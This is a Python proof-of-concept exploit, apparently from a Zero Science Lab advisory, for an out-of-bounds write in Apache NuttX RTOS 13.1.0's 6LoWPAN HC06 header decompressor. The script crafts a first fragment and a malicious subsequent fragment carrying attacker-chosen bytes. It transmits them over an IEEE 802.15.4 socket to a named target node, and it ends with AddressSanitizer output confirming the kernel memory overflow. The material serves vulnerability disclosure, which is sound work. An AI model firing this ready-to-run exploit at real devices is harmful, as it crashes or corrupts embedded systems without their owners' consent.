#!/usr/bin/env python # # # Apache NuttX RTOS 13.1.0 6LoWPAN HC06 Decompressor Kernel Out-of-Bounds Write # # # Vendor: The Apache Software Foundation # Product web page: https://nuttx.apache.org # Affected version: 13.1.0 # # Summary: Apache NuttX is a free and open-source (FOSS) real-time operating # system (RTOS) with an emphasis on standards compliance and small footprint. # Scalable from 8-bit to 64-bit microcontroller environments, the primary governing # standards in NuttX are POSIX and ANSI standards. Additional standard APIs # from Unix and other common RTOS's (such as VxWorks) are adopted for functionality # not available under these standards, or for functionality that is not appropriate # for deeply-embedded environments (such as fork()). # # Desc: Apache NuttX RTOS contains an out-of-bounds write in the 6LoWPAN RFC # 6282 (IPHC/HC06) header decompressor in net/sixlowpan/sixlowpan_hc06.c. The # HC06 compressor guards all UDP handling with #ifdef CONFIG_NET_UDP, but the # decompressor sixlowpan_uncompresshdr_hc06() has no such guard: its UDP-NHC # (next-header compression) reconstruction is compiled unconditionally and writes # a reconstructed UDP header at the fixed offset bptr + IPv6_HDRLEN (the destination # buffer start + 40 bytes). For a subsequent-fragment (FRAGN) frame, net/sixlowpan/sixlowpan_input.c # sets that destination to the static buffer g_bitbucket, whose size UNCOMP_MAXHDR # is derived from the configured transport protocols (IPv6_HDRLEN + TCP/UDP/ICMPv6 # header length, or IPv6_HDRLEN alone when none is enabled). Because NET_6LOWPAN # depends only on NET_IPv6 and HC06 has no UDP dependency in Kconfig, a build # may enable HC06 while leaving UDP and TCP disabled; UNCOMP_MAXHDR is then 44 # bytes (ICMPv6 only) or 40 bytes (none), smaller than the 48 bytes the UDP-header # write requires. # # An on-link attacker on the 802.15.4 / packet-radio network (no authentication) # sends a valid first fragment (FRAG1) to allocate the reassembly state, then a # crafted subsequent fragment (FRAGN) whose continuation bytes form an IPHC dispatch # with the next-header-compressed bit set and a UDP-NHC pattern. The decompressor # runs against g_bitbucket and writes the attacker-controlled UDP source/destination # ports and checksum 2 to 6 bytes past the end of the static buffer, corrupting # adjacent kernel .bss memory. This can result is memory corruption and a likely # crash. # # Tested on: Kali Linux (x86-64) # gcc 14.2.0 # libasan # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2026-6019 # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6019 # # # 13.10.2026 # import ctypes.util import ctypes#//// import socket#//// import struct#//// import os#//////// import sys#/////// r""" CWE-787 out-of-bounds write in net/sixlowpan/sixlowpan_hc06.c (sixlowpan_uncompresshdr_hc06). Vulnerable targets: a NuttX node on the 802.15.4 / 6LoWPAN link built with CONFIG_NET_6LOWPAN_COMPRESSION_HC06=y and CONFIG_NET_UDP / CONFIG_NET_TCP UNSET. (Enabling UDP or TCP grows g_bitbucket to 48 bytes - enough to hold the reconstructed UDP header - so the write stays in bounds; only builds with BOTH disabled are vulnerable.) How it works - two frames, no auth, link-local: 1. FRAG1 : a well-formed RFC-4944 first fragment that makes the target allocate a reassembly node (keyed on datagram tag + our source address). 2. FRAGN : a crafted subsequent fragment. sixlowpan_input routes FRAGN decompression output to the fixed-size static buffer g_bitbucket, and our continuation bytes form an RFC-6282 IPHC header with NH=1 + a UDP-NHC dispatch. The decompressor reconstructs a UDP header at g_bitbucket + IPv6_HDRLEN (offset 40), writing our ports+checksum 2..8 bytes past the end of the 40/44-byte buffer -> kernel .bss corruption -> crash / DoS on the device. Delivery: a real IEEE 802.15.4 DGRAM socket (AF_IEEE802154) via ctypes - the kernel frames the MAC header and transmits our 6LoWPAN payload exactly as a peer node would. No scapy, stdlib only. Needs a configured 802.15.4 interface (real transceiver or mac802154_hwsim) and CAP_NET_RAW (run as root). If the socket path is unavailable, the crafted frames are written to .bin for a hardware injector (KillerBee kbsendp, etc.). """ # ============================ target ============================ IFACE = "wpan0" # local 802.15.4 interface used to transmit PANID = 0xabcd # target PAN id DST_SHORT = 0x0001 # target node short address # ======================= 6LoWPAN datagram ======================= DGRAM_SIZE = 96 # RFC-4944 datagram size (FRAG1 and FRAGN must agree) DGRAM_TAG = 0x1234 # reassembly tag (FRAG1 and FRAGN must agree) FRAGN_OFF = 1 # FRAGN datagram offset, 8-byte units (irrelevant to the overflow) # ============ attacker bytes that land past g_bitbucket ========= SRCPORT = b"\xde\xad" # -> g_bitbucket[40..42] DSTPORT = b"\xbe\xef" # -> g_bitbucket[42..44] CHKSUM = b"\xca\xfe" # -> g_bitbucket[46..48] (first OOB byte on a 44-byte buffer) # --- RFC-4944 fragmentation dispatch (include/nuttx/net/sixlowpan.h) --- FRAG1_DISP, FRAGN_DISP = 0xc0, 0xe0 # --- RFC-6282 IPHC header tuned to reach the UDP-NHC block with zero inline address bytes --- # iphc0 = IPHC(0x60) | TC elided(0x18) | NH compressed(0x04) | HLIM=64(0x02) = 0x7e # iphc1 = SAM_0(0x30) | DAM_0(0x03) = 0x33 (addrs from MAC) # nhc = UDP ID(0xf0), CS_P_00 (all ports inline), checksum included IPHC0, IPHC1, NHC = 0x7e, 0x33, 0xf0 def iphc_packet(): """The compressed 'IPv6 packet' the fragment carries. The source-address path does HC06_CHECK(g_hc06ptr, 16, endofframe) at iphc[2]; SAM_0 consumes no inline bytes, so we pad to keep >= 16 bytes available from iphc[2] (harmless trailing bytes the UDP block never reads).""" core = bytes([IPHC0, IPHC1, NHC]) + SRCPORT + DSTPORT + CHKSUM return core + b"\x00" * (2 + 18 - len(core)) def frag1(p): return bytes([FRAG1_DISP | ((DGRAM_SIZE >> 8) & 7), DGRAM_SIZE & 0xff, (DGRAM_TAG >> 8) & 0xff, DGRAM_TAG & 0xff]) + p def fragn(p): return bytes([FRAGN_DISP | ((DGRAM_SIZE >> 8) & 7), DGRAM_SIZE & 0xff, (DGRAM_TAG >> 8) & 0xff, DGRAM_TAG & 0xff, FRAGN_OFF & 0xff]) + p # ------------------- real AF_IEEE802154 sender (ctypes, no scapy) ------------------- AF_IEEE802154 = 36 IEEE802154_ADDR_SHORT = 2 class _AddrU(ctypes.Union): _fields_ = [("hwaddr", ctypes.c_uint8 * 8), ("short_addr", ctypes.c_uint16)] class ieee802154_addr_sa(ctypes.Structure): _fields_ = [("addr_type", ctypes.c_int), ("pan_id", ctypes.c_uint16), ("u", _AddrU)] class sockaddr_ieee802154(ctypes.Structure): # include/net/af_ieee802154.h _fields_ = [("family", ctypes.c_uint16), ("addr", ieee802154_addr_sa)] def deliver(frames): """Transmit each 6LoWPAN payload as an 802.15.4 data frame to DST_SHORT@PANID over IFACE. The kernel 802.15.4 stack builds the MAC header; we supply the adaptation-layer bytes - exactly the on-air frame a peer 6LoWPAN node would send to the target's sixlowpan_input().""" try: s = socket.socket(AF_IEEE802154, socket.SOCK_DGRAM) except OSError as e: print("[-] AF_IEEE802154 socket unavailable (%s)" % e); return False dst = sockaddr_ieee802154() dst.family = AF_IEEE802154 dst.addr.addr_type = IEEE802154_ADDR_SHORT dst.addr.pan_id = PANID dst.addr.u.short_addr = DST_SHORT libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) try: s.bind((IFACE,)) except Exception: pass ok = True for name, buf in frames: n = libc.sendto(s.fileno(), buf, len(buf), 0, ctypes.byref(dst), ctypes.sizeof(dst)) if n == len(buf): print("[+] sent %-5s -> %04x@%04x on %s (%d bytes)" % (name, DST_SHORT, PANID, IFACE, n)) else: print("[-] send %s failed: %s" % (name, os.strerror(ctypes.get_errno()))); ok = False s.close() return ok def save(name, data): path = os.path.join(os.path.dirname(os.path.abspath(__file__)), name) open(path, "wb").write(data) print(" %-22s %s" % (name, data.hex())) BANNAH = r""" /\ / \ / /\ \ Apache NuttX RTOS v13.1.0 / / \ \ 6LoWPAN HC06 Decompressor / / \ \ Kernel Out-of-Bounds Write / / /\ \ \ / / / \ \ \ ID: ZSL-2026-6019 \ \ \ / / / \ \ \/ / / https://zeroscience.mk \ \ / / \ \ / / \ \/ / \ / \/ """ if __name__ == "__main__": print(BANNAH) p = iphc_packet() f1 = frag1(p) fn = fragn(p) print("[*] target: node %04x pan %04x via %s" % (DST_SHORT, PANID, IFACE)) print("[*] payload: iphc0=%#x iphc1=%#x nhc=%#x ports=%s/%s cksum=%s" % (IPHC0, IPHC1, NHC, SRCPORT.hex(), DSTPORT.hex(), CHKSUM.hex())) print("[*] frames:") save("hc06_frag1.bin", f1) save("hc06_fragn.bin", fn) print("[*] firing over the 802.15.4 link ...") if not deliver([("FRAG1", f1), ("FRAGN", fn)]): print("[-] over-the-air send unavailable; inject the saved .bin with a PHY tool, e.g.:") print(" kbsendp hc06_frag1.bin ; kbsendp hc06_fragn.bin (KillerBee)") sys.exit(1) print("[+] delivered. On a vulnerable build the FRAGN overflows g_bitbucket+40 with" " %s%s%s -> kernel .bss corruption / crash." % (SRCPORT.hex(), DSTPORT.hex(), CHKSUM.hex())) """ === Apache NuttX 6LoWPAN HC06 decompressor OOB write - ASan repro (2026-10-13T15:29:47Z) === source: https://raw.githubusercontent.com/apache/nuttx/nuttx-13.1.0/net/sixlowpan/sixlowpan_hc06.c ----- g_bitbucket size 48 : CONTROL (UDP/TCP build) - expected SAFE ----- [*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 48 (UDP header will be written at bptr+40; udpchksum at bptr+46) [+] decompressor returned 0, g_uncomp_hdrlen=48 -- write stayed in bounds (size=48 SAFE) -> clean (rc=0), as expected ----- g_bitbucket size 44 : ICMPv6-only, no UDP/TCP - expected OOB WRITE ----- [*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 44 (UDP header will be written at bptr+40; udpchksum at bptr+46) ================================================================= ==181160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b95d9be003e at pc 0x5597257c2693 bp 0x7ffcfffe9d10 sp 0x7ffcfffe9d08 WRITE of size 2 at 0x7b95d9be003e thread T0 #0 0x5597257c2692 in sixlowpan_uncompresshdr_hc06 /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1142 #1 0x5597257c30ac in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:45 #2 0x7f55da831f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #3 0x7f55da832026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #4 0x5597257c01b0 in _start (/home/lqwrm/nuttx/hc06_asan_build/hc06_asan+0x21b0) (BuildId: 6383258d4e97d06e47d627a17d8e303fae4ac08f) 0x7b95d9be003e is located 2 bytes after 44-byte region [0x7b95d9be0010,0x7b95d9be003c) allocated by thread T0 here: #0 0x7f55dab2435f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0x5597257c3006 in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:38 #2 0x7f55da831f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #3 0x7ffcfffec1b6 () SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1142 in sixlowpan_uncompresshdr_hc06 Shadow bytes around the buggy address: 0x7b95d9bdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b95d9bdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b95d9bdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b95d9bdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7b95d9bdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7b95d9be0000: fa fa 00 00 00 00 00[04]fa fa fa fa fa fa fa fa 0x7b95d9be0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7b95d9be0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7b95d9be0180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7b95d9be0200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7b95d9be0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==181160==ABORTING -> ASan reported heap-buffer-overflow (rc=99) - OOB WRITE CONFIRMED ----- g_bitbucket size 40 : no UDP/TCP/ICMPv6 - expected OOB WRITE (worse) ----- [*] calling real sixlowpan_uncompresshdr_hc06() with g_bitbucket size = 40 (UDP header will be written at bptr+40; udpchksum at bptr+46) ================================================================= ==181168==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bf61cfe0038 at pc 0x562a82c23e41 bp 0x7ffdefaf5bb0 sp 0x7ffdefaf5ba8 WRITE of size 2 at 0x7bf61cfe0038 thread T0 #0 0x562a82c23e40 in sixlowpan_uncompresshdr_hc06 /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1065 #1 0x562a82c250ac in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:45 #2 0x7fb61dc31f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #3 0x7fb61dc32026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #4 0x562a82c221b0 in _start (/home/lqwrm/nuttx/hc06_asan_build/hc06_asan+0x21b0) (BuildId: 6383258d4e97d06e47d627a17d8e303fae4ac08f) 0x7bf61cfe0038 is located 0 bytes after 40-byte region [0x7bf61cfe0010,0x7bf61cfe0038) allocated by thread T0 here: #0 0x7fb61df2435f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0x562a82c25006 in main /home/lqwrm/nuttx/hc06_asan_build/harness.c:38 #2 0x7fb61dc31f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9) #3 0x7ffdefaf81b6 () SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lqwrm/nuttx/hc06_asan_build/sixlowpan_hc06.c:1065 in sixlowpan_uncompresshdr_hc06 Shadow bytes around the buggy address: 0x7bf61cfdfd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bf61cfdfe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bf61cfdfe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bf61cfdff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7bf61cfdff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7bf61cfe0000: fa fa 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa 0x7bf61cfe0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bf61cfe0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bf61cfe0180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bf61cfe0200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7bf61cfe0280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==181168==ABORTING -> ASan reported heap-buffer-overflow (rc=99) - OOB WRITE CONFIRMED """